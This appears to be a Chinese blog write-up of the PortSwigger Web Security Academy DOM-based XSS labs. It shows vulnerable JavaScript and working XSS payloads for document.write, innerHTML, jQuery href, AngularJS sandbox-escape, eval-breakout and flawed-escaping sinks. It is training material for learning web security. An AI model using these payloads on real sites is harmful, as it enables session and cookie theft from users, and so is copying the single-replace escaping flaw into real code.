Portswigger web security academy:DOM Based XSS

DOM XSS in document.write sink using source location.search

  • 题目描述

    搜索功能点调用了document.write函数,借此函数调用alert

  • 解题步骤

    看着语句写payload

    asd"><script>alert()</script><"

DOM XSS in document.write sink using source location.search inside a select element

  • 题目描述

    使用document.write调用alert,document.write会从location.search获取参数,且参数可控,但参数被select element包围了

  • 解题步骤

    可以看到这里的storeId是从URL获取的,而且被<option></option>包围

    构造payload:&storeId=<script>alert()</script>

DOM XSS in innerHTML sink using source location.search

  • 题目描述

    这道题的搜索功能点会使用innerHTML来修改一个div标签,参数取自location.search,调用alert即可

  • 解题过程

    可以看到这里把url里的search参数写到了HTML里

    构造payload:search=<img+src=x+onerror=alert()>

DOM XSS in jQuery anchor href attribute sink using location.search source

  • 题目描述

    在提交反馈的页面里用到了jQuery来修改一个锚的属性,参数取自location.search,要求alert(document.cookie)

  • 解题步骤

    这里和题目描述一样

    构造payload:returnPath=javascript:alert(document.cookie)

DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

  • 题目描述

    这道题用到了AngularJS,涉及到一个知识点

    当标签有ng-app属性时,会运行花括号里的代码,<x ng-app="">{{alert()}}</x>

    要求运行一个``AngularJS的表达式调用alert`

  • 解题步骤

    看了两篇AngularJS xss的介绍,里面有两个payload,可行,原理都一样,建议看第一个参考链接的介绍

    payload:

    {{constructor.constructor('alert(1)')()}}

    {{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

    官方solution的payload:{{$on.constructor('alert(1)')()}}

  • 参考

    https://bbs.pediy.com/thread-258994.htm

    https://blog.csdn.net/linuxnews/article/details/58296374

Reflected DOM XSS

  • 题目描述

    和题目的意思一样,这是个反射型+DOM型的xss

    调用alert函数即可

  • 解题过程

    在搜索功能点发现了eval函数

    关键代码

    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
    eval('var searchResultsObj = ' + this.responseText);
    displaySearchResults(searchResultsObj);
    }
    };
    xhr.open("GET", "/search-results" + window.location.search);
    xhr.send();

    这里涉及一个知识点: eval('xxx'+alert())也会弹窗

    返回值格式为:{"searchTerm":"xxx","results":[]},但是添加引号会被后台转义(添加\)

    构造payload:\"+alert()}//

    (减号也可以)\"-alert()}//

Stored DOM XSS

  • 题目描述

    评论功能点有存储型dom-xss,调用alert函数即可

  • 解题过程

    关键代码

    function escapeHTML(html) {
    return html.replace('<', '&lt;').replace('>', '&gt;');
    }
    let newInnerHtml = firstPElement.innerHTML + escapeHTML(comment.author)

    注意这里的escapeHTML函数的定义,使用了replace函数,js的replace函数有个特性,只会替换最开始出现的一个字符,所以

    构造payload:<><img src=x onerror=alert()>

Portswigger web security academy:DOM Based XSS的更多相关文章

  1. Portswigger web security academy:Stored XSS

    Portswigger web security academy:Stored XSS 目录 Portswigger web security academy:Stored XSS Stored XS ...

  2. Portswigger web security academy:Reflected XSS

    Portswigger web security academy:Reflected XSS 目录 Portswigger web security academy:Reflected XSS Ref ...

  3. Portswigger web security academy:Clickjacking (UI redressing)

    Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...

  4. Portswigger web security academy:WebSockets

    Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...

  5. Portswigger web security academy:Cross-origin resource sharing (CORS)

    Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...

  6. Portswigger web security academy:XML external entity (XXE) injection

    Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...

  7. Portswigger web security academy:Cross-site request forgery (CSRF)

    Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...

  8. Portswigger web security academy:OAth authentication vulnerable

    Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...

  9. Portswigger web security academy:Server-side request forgery (SSRF)

    Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...

随机推荐

  1. IDEA如何像ecplise一样添加jar包?

    以前使用ecplise开发代码,现在换成IDEA,有很多操作都不习惯,比如添加jar包.网上可以找到IDEA好几种添加jar包的方法,这里主要介绍在用IDEA开发时如何像ecplise一样添加jar包 ...

  2. ch1_6_1求解两种排序方法问题

    考拉有n个字符串字符串,任意两个字符串长度都是不同的.  考拉最近学习到有两种字符串的排序方法:   1.根据字符串的字典序排序.例如: "car" < "carr ...

  3. pip软件包管理工具介绍及基本使用

    pip软件包管理工具介绍及基本使用 一分耕耘,一分收获,要收获得好,必须耕耘得好.-- 徐特立 一.pip软件包管理工具介绍: 定义:pip是Python包管理工具 作用:对Python包的查找.下载 ...

  4. c++ 反汇编 构造函数和析构函数

    构造函数和析构函数出现的时机 局部对象 109: // 局部对象定义调用构造函数 110: 111: CNumber Number; 00C8A37D 8D 4D EC lea ecx,[Number ...

  5. 2019_西湖论剑_预选赛 testre

    2019_西湖论剑_预选赛 testre 程序中关键操作是比较ptr,其中夹杂的一部分v26计算是为了混淆我们的分析.那么我们只要跟踪ptr数组的生成便可,向上发现v11,加密操作数组. 接下来跟踪v ...

  6. JAVA面试核心知识点(一):计算机网络

    一·计算机网络 1.1 网络基础知识 OSI 七层协议(制定标准使用的标准概念框架): 物理层(传递比特流0101)->数据链路层(将比特流转换为逻辑传输线路)->网络层(逻辑编址,分组传 ...

  7. 巧用 SVG 滤镜还能制作表情包?

    本文将介绍一些使用 SVG feTurbulence 滤镜实现的一些有趣.大胆的的动效. 系列另外两篇: 有意思!强大的 SVG 滤镜 有意思!不规则边框的生成方案 背景 今天在群里面聊天,看到有人发 ...

  8. mysql数据库忘记密码时如何修改密码

    方法/步骤  1.进入 mysql 的 bin 目录下,打开 cmd ,在此之前关闭mysql服务,并且结束mysqld.exe进程                                  ...

  9. 彻底搞清Flink中的Window

    窗口 在流处理应用中,数据是连续不断的,因此我们不可能等到所有数据都到了才开始处理.当然我们可以每来一个消息就处理一次,但是有时我们需要做一些聚合类的处理,例如:在过去的1分钟内有多少用户点击了我们的 ...

  10. 学习笔记-cordova 限制app横屏

    禁止手机app横竖屏幕转换,只需在根目录下的 config.xml 中添加如下内容 <preference name="orientation" value="po ...